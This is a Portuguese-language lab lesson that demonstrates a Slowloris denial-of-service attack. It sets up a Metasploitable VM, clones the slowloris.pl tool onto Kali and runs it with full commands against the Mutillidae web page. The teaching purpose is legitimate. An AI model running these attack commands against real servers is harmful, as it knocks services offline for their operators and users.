

03

Mão à obra: Slowloris

Vamos ilustrar um ataque DoS com o Slowloris:

- Baixar o servidor usado para os testes nesse [link \(https://drive.google.com/open?id=0BzmYQVmW4W7nR1dYcHFjQ1lZSWs\)](https://drive.google.com/open?id=0BzmYQVmW4W7nR1dYcHFjQ1lZSWs) e extraia para uma pasta de sua preferência
- Uma vez que o arquivo foi baixado, devemos configurá-lo no VirtualBox. Clique na aba **Novo** e dê um nome para a máquina virtual (Por exemplo: Servidor)
- Ajuste o tamanho de memória para seu computador, o mínimo que eu recomendo seria 512MB. Na sequência selecionar a opção **Utilizar um disco rígido virtual existente** e escolher o arquivo extraído na etapa anterior. Feito isso clique no botão **Criar**
- Vá até a aba Configurações e altere a placa de rede do servidor para **Conectado a: Placa em modo bridge**
- Inicialize o servidor, para logar, entre com usuário e senha: **msfadmin**
- Verifique qual é seu endereço IP digitando o comando: **ifconfig**

```

Metasploit [Executando] - Oracle VM VirtualBox
Arquivo Máquina Visualizar Entrada Dispositivos Ajuda
No mail.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:12:a3:22
          inet addr:192.168.83.101 Bcast:192.168.83.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe12:a322/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:310 errors:0 dropped:0 overruns:0 frame:0
          TX packets:72 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:36096 (35.2 KB) TX bytes:7701 (7.5 KB)
          Base address:0xd010 Memory:f0000000-f0020000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:101 errors:0 dropped:0 overruns:0 frame:0
          TX packets:101 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23573 (23.0 KB) TX bytes:23573 (23.0 KB)

msfadmin@metasploitable:~$ 

```

- Com esse endereço IP, vá até a máquina do Hacker e coloque na URL esse endereço IP. Clique no link da Mutillidae e verifique que tudo está funcionando normalmente.
- No Kali Linux, abra o terminal e digite: `git clone https://github.com/llaera/slowloris.pl.git`.
- Verifique se o diretório `slowloris.pl` foi criado digitando o comando: `ls`.
- Mude para o diretório do `slowloris.pl` digitando: `cd slowloris.pl/`.
- Mude a permissão para que seja possível executar o programa através do comando: `chmod +x slowloris.pl`.
- Rode o programa com: `./slowloris.pl`.
- Veja que o slowloris mostra como devemos rodar o programa, coloque no terminal: `perl ./slowloris.pl -dns [IP servidor] -timeout 1`.
- Abra um browser do seu computador e tente acessar a página da Mutillidae: `[IP do servidor]/mutillidae`.

Qual o resultado?

